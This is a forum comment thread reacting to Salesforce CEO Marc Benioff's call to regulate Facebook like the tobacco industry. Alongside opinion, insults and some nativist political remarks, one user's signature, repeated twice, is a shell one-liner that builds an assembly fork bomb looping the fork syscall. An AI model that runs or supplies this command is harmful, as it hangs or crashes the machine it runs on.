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Facebook Should Be 'Regulated Like Cigarette Industry', Salesforce CEO Says (theguardian.com)
Facebook should be regulated like a cigarette company, because of the addictive and harmful properties of social media, according to Salesforce chief executive Marc Benioff. From a report: Social networks would be regulated "exactly the same way that you regulated the cigarette industry," Benioff told CNBC at the World Economic Forum in Davos. "Here's a product -- cigarettes -- they're addictive, they're not good for you, maybe there's all kinds of different forces trying to get you to do certain things. There's a lot of parallels. I think that, for sure, technology has addictive qualities that we have to address, and that product designers are working to make those products more addictive, and we need to rein that back as much as possible," he added. Benioff, who founded B2B cloud computing company Salesforce in 1999, and is now worth more than $4bn, suggested that regulation of some form was inevitable for the technology industry. "We're the same as any other industry," he said. "Financial services, consumer product goods, food -- in technology, the government's going to have to be involved. There is some regulation but there probably will have to be more."
but I don't see anyone regulating that.
Pursuit of happiness is a founding principle of this nation, and you dont get to define when the pursuit should be abandoned.
sed -e 's/Chuck Norris/Rajnikant/g' joke > fact
I didn't know Facebook killed that many people. I blame the kittens.
“He’s not deformed, he’s just drunk!”
No. Just no. Facebook is a form of free speech. The internet is an platform for free speech. Stop trying to regulate free speech!
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especially on the Christian right & among evangelicals. Still this guy is full of it. The public health risks to Facebook alone are a fraction of smoking. Plus there isn't a concerted effort on the part of Facebook to downplay those risks. We ought to keep a close eye on social media vis-a-vis fake news but we don't quite need the same level of regulatory muscle as tobacco companies get.
Hi! I make Firefox Plug-ins. Check 'em out @ https://addons.mozilla.org/en-US/firefox/addon/youtube-mp3-podcaster/
Are we going to have to show our driver's license before we log on? Put warning labels on it? Tax it heavily? Run anti-Facebook adds on TV? "Here is your brain. Here is your brain on Facebook. Any questions?"
You mean I won't be able to post to facebook within 200 feet of a school. And I'll start seeing my tax dollars used to fund obnoxious adds on tv now?
I read at +2. If your post doesn't reach that level I will not see or respond to it.
It's hard to take a CEO seriously when their own products promote vendor lock-in. It's literally a "leaving us feels difficult" versus a "leaving us is difficult" situation.
Anons need not reply. Questions end with a question mark.
Facebook should just die! It should go the fuck away!
At least on Facebook, one can edit their posts. Slashdot has a system which deliberately elicits the most visceral responses possible -- it rewards being 1st to post more than anything else. Certainly, 1st to post is rewarded more than accuracy here. Galloway is a marketing professor and he's been "predicting" that Amazon and Facebook would be targeted by the government for a while. I guess he is calling for it openly now. Maybe their relevance algorithms are too good? So good that they make him irrelevant? Hard to say. Of course, the fact that he took his message to a British publication is pretty telling. Brits are all too eager to give up their freedom for safety.
Any guest worker system is indistinguishable from indentured servitude.
...the very idea of regulating human behavior that this would seem to require seems far worse to me.
When a bunch of fucktards like SpammerForce advocate just about anything, its a safe bet that the opposite position is the correct one to take.
SpammerForce can get fucked.
Lawyers, MBA's, RIAA? A jedi fears not these things!
it's a major part of the discussion. A big part of NN is allowing a startup to join the big players and disrupt the industry if they've got the tech and a good idea. You can't beat the established players without NN because you won't be able to buy enough bandwidth. Hell, even if you could exclusivity deals will kill you deader than Elvis.
Hi! I make Firefox Plug-ins. Check 'em out @ https://addons.mozilla.org/en-US/firefox/addon/youtube-mp3-podcaster/
think about the advertisers, the Russians trying to influence voting, people who post murders, guns, and abuse on BookFace? /s
But I plan on opening FB withdrawal clinics. With full rehab programs. Special classes for narc...narcissists. Foodie detox programs. I'll be printing money.
That suit interfered in the politics of Indiana several years ago because he did not like how Hoosiers behaved and what they believed. Now he wants to interfere with the functioning of the walled gardens because he does not like how the human cattle within behave, even though it has been obvious for years how crap-strewn the gardens are. The behavior of the cattle has even been codified long ago.
Nothing is going to come of this because this will be a fight between that rag doll stuffed with hundred-dollar bills and an Ivy League graduate with more pull than the planet Jupiter.
--- Andy West http://andywest.org
You might want to reconsider that statement.
Tobacco use has been on a steady decline in the United States since the regulation of the tobacco industry was imposed.
You are welcome on my lawn.
All you really need to know about Marc Benioff is that it took him only 4 years to go from college graduate to vice president of Oracle Corporation.
Yes, that Oracle Corporation.
Making that big a leap in that environment requires a stratospheric level of ruthlessness and ambition, combined with an active willingness to kiss Larry Ellison's ass and swear it tastes like butterscotch. Daily.
Benioff is the guy who coined the phrase "software as a service" - you know, rent seeking? - that has taken the Valley by storm. Because, what the hell, why not take the marks for every possible penny?
(It's worth noting here that Wikipedia's page on Benioff reads like it was written by his PR department.)
Yes, he's big humanitarian. Yada-yada. What's infinitely more important is that his company, Salesforce, is based on a business model of locking its customers into its "platform" (a strategy he adopted from Oracle). Which is to say getting them hooked so firmly on a very expensive sales management solution that it would be castastrophically expensive for them to replace it.
Which makes Marc Benioff a - what's the word I'm groping for?
Oh, yeah: "hypocrite" ...
Check out my novel.
hate Facebook that's a stupid idea.
True, but I still think he's right. The decline in smoking, in my experience as a former smoker, is far more the result of public education about the dangers of smoking as opposed to any laws or regulations on tobacco/cigarettes, combined with the rise of actually-effective aids to quitting like vaping.
As far as "regulating FB like cigarette companies", just no. First of all, this is backdoor regulation of speech, second, as has been pointed out in other posts and as history has shown us how such worked out in other areas, the regulations would end up protecting FB, et al, from competition and put fences around their market while not really doing much to address the problems they were created to address. However, TPTB would have a whole new set of levers to pull to shape & control public discourse.
Strat
Progressivism (aka US 'Liberalism'): Ideas so good they need a police/surveillance-state to enforce.
... does it have to be said that "You cannot (successfully) legislate morality"? If you want to go that route, it could be argued that junk food, caffeine, and porn are all addictive to an extent and should be "regulated". But people need to take & accept responsibility for their own behavior.
Ironically the left seems to be sterilizing itself by making single life, abortion, homosexuality and transgenderism fashionable and raising a family unfashionable.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Interesting question. My point is that in the long run the left will disappear because their beliefs make them reproduce less efficiently, which means that as irritating as they are they are not going to survive.
Problem is of course they won't necessarily stop winning elections because they also believe in letting in unskilled third worlders who will end up dependent on benefits and voting left, even if they despise the left's social values as much as I do. Probably more so.
Then again I don't live in the US, so all this is really an abstract argument for me.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;